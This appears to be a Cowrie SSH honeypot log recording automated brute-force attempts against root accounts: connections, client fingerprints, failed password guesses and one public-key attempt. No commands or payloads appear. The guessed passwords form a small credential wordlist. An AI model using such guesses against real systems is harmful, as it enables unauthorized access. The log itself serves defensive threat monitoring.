{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:43.432134Z","src_ip":"43.153.39.191","session":"295a5fe90c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:43.474790Z","src_ip":"181.47.9.103","session":"d35f6c6f19cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135151","message":"login attempt [root/135151] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:43.734682Z","src_ip":"43.153.39.191","session":"295a5fe90c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gaye","message":"login attempt [root/gaye] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:44.078005Z","src_ip":"181.47.9.103","session":"d35f6c6f19cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:44.808126Z","src_ip":"43.153.39.191","session":"295a5fe90c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:45.226693Z","src_ip":"181.47.9.103","session":"d35f6c6f19cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":45128,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fdf596a2ffd","protocol":"ssh","message":"New connection: 103.173.227.57:45128 (10.17.0.5:22) [session: 8fdf596a2ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:01.657447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:01.662784Z","src_ip":"103.173.227.57","session":"8fdf596a2ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:01.903133Z","src_ip":"103.173.227.57","session":"8fdf596a2ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wwerty1","message":"login attempt [root/2wwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:02.622987Z","src_ip":"103.173.227.57","session":"8fdf596a2ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:03.864614Z","src_ip":"103.173.227.57","session":"8fdf596a2ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49942,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aa9d722f235","protocol":"ssh","message":"New connection: 51.250.105.222:49942 (10.17.0.5:22) [session: 5aa9d722f235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:21.344277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:21.349618Z","src_ip":"51.250.105.222","session":"5aa9d722f235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:21.480286Z","src_ip":"51.250.105.222","session":"5aa9d722f235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":45688,"dst_ip":"159.203.135.109","dst_port":22,"session":"b183edab8bfc","protocol":"ssh","message":"New connection: 43.173.89.56:45688 (159.203.135.109:22) [session: b183edab8bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:21.615292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:21.620235Z","src_ip":"43.173.89.56","session":"b183edab8bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:21.688282Z","src_ip":"43.173.89.56","session":"b183edab8bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:21.881118Z","src_ip":"51.250.105.222","session":"5aa9d722f235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jito-validator","message":"login attempt [root/jito-validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:21.991242Z","src_ip":"43.173.89.56","session":"b183edab8bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:23.014708Z","src_ip":"51.250.105.222","session":"5aa9d722f235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:23.065430Z","src_ip":"43.173.89.56","session":"b183edab8bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":55728,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d30f7178e88","protocol":"ssh","message":"New connection: 43.134.27.11:55728 (159.203.135.109:22) [session: 1d30f7178e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:24.186678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:24.192772Z","src_ip":"43.134.27.11","session":"1d30f7178e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:24.443408Z","src_ip":"43.134.27.11","session":"1d30f7178e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234","message":"login attempt [root/Qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:25.465499Z","src_ip":"43.134.27.11","session":"1d30f7178e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:26.716288Z","src_ip":"43.134.27.11","session":"1d30f7178e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":58926,"dst_ip":"159.203.135.109","dst_port":22,"session":"49c48a6c1a6e","protocol":"ssh","message":"New connection: 152.32.150.26:58926 (159.203.135.109:22) [session: 49c48a6c1a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:35.033606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:35.038646Z","src_ip":"152.32.150.26","session":"49c48a6c1a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:35.273248Z","src_ip":"152.32.150.26","session":"49c48a6c1a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jito-validator","message":"login attempt [root/jito-validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:35.305515Z","src_ip":"152.32.150.26","session":"49c48a6c1a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:36.320747Z","src_ip":"152.32.150.26","session":"49c48a6c1a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.250.235.126","src_port":44372,"dst_ip":"10.17.0.5","dst_port":22,"session":"be9e635f26aa","protocol":"ssh","message":"New connection: 192.250.235.126:44372 (10.17.0.5:22) [session: be9e635f26aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:41.509748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:41.513831Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:41.768207Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:15:ae:3c:89:d5:f8:a7:fe:07:0f:41:46:b6:87:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzdm4ipV011qi48/9rjWYQ9P52ZQUk9uafloAJZtqsoNLTjHlJGCxaj3zQnEdznhgbyqusUB8LcEjPLhQnG662WsQ8G42GgdmpKkAzu73y34xDxMu1HDGEFFejrxVkCzMnpi30ggtNTzjrYCja7LvyM8ttfTIhSE5GhDLLhLXbf/zrrMIL6CyG72mkz1UnNFLXZIkBG/gMMTp0enwNBrK5rsLnyHj45+7Ymbf4MdN1zklO+SD4d1Jp9XSnlAtEBg7s7DI9ErdKtSnh+hQ6eOStidZ5zVEGVdjtgvzG4TfelsG8ynlJknNcdHfDaOOSEGbIG4zyCZyoqVnHZsWDfpL7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:15:ae:3c:89:d5:f8:a7:fe:07:0f:41:46:b6:87:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:42.989308Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:15:ae:3c:89:d5:f8:a7:fe:07:0f:41:46:b6:87:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzdm4ipV011qi48/9rjWYQ9P52ZQUk9uafloAJZtqsoNLTjHlJGCxaj3zQnEdznhgbyqusUB8LcEjPLhQnG662WsQ8G42GgdmpKkAzu73y34xDxMu1HDGEFFejrxVkCzMnpi30ggtNTzjrYCja7LvyM8ttfTIhSE5GhDLLhLXbf/zrrMIL6CyG72mkz1UnNFLXZIkBG/gMMTp0enwNBrK5rsLnyHj45+7Ymbf4MdN1zklO+SD4d1Jp9XSnlAtEBg7s7DI9ErdKtSnh+hQ6eOStidZ5zVEGVdjtgvzG4TfelsG8ynlJknNcdHfDaOOSEGbIG4zyCZyoqVnHZsWDfpL7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:42.993183Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
